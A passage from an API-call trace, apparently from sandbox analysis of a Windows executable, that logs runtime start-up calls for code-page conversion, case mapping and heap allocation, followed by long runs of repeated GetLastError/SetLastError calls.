(CodePage=0x4e4) returned 1 [0042.129] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0042.129] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0042.129] GetLastError () returned 0x7f [0042.129] SetLastError (dwErrCode=0x7f) [0042.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.129] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0042.129] GetLastError () returned 0x7f [0042.129] SetLastError (dwErrCode=0x7f) [0042.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.130] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.130] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0042.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿxüÝeôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0042.130] GetLastError () returned 0x7f [0042.130] SetLastError (dwErrCode=0x7f) [0042.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.130] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.130] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0042.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿxüÝeôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0042.130] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46dd30, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe")) returned 0x32 [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.130] SetLastError (dwErrCode=0x0) [0042.130] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.131] GetLastError () returned 0x0 [0042.131] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.132] GetLastError () returned 0x0 [0042.132] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.133] SetLastError (dwErrCode=0x0) [0042.133] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.134] SetLastError (dwErrCode=0x0) [0042.134] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x68) returned 0x5003b50 [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.135] SetLastError (dwErrCode=0x0) [0042.135] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.136] SetLastError (dwErrCode=0x0) [0042.136] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.137] SetLastError (dwErrCode=0x0) [0042.137] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.138] GetLastError () returned 0x0 [0042.138] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] GetLastError () returned 0x0 [0042.139] SetLastError (dwErrCode=0x0) [0042.139] 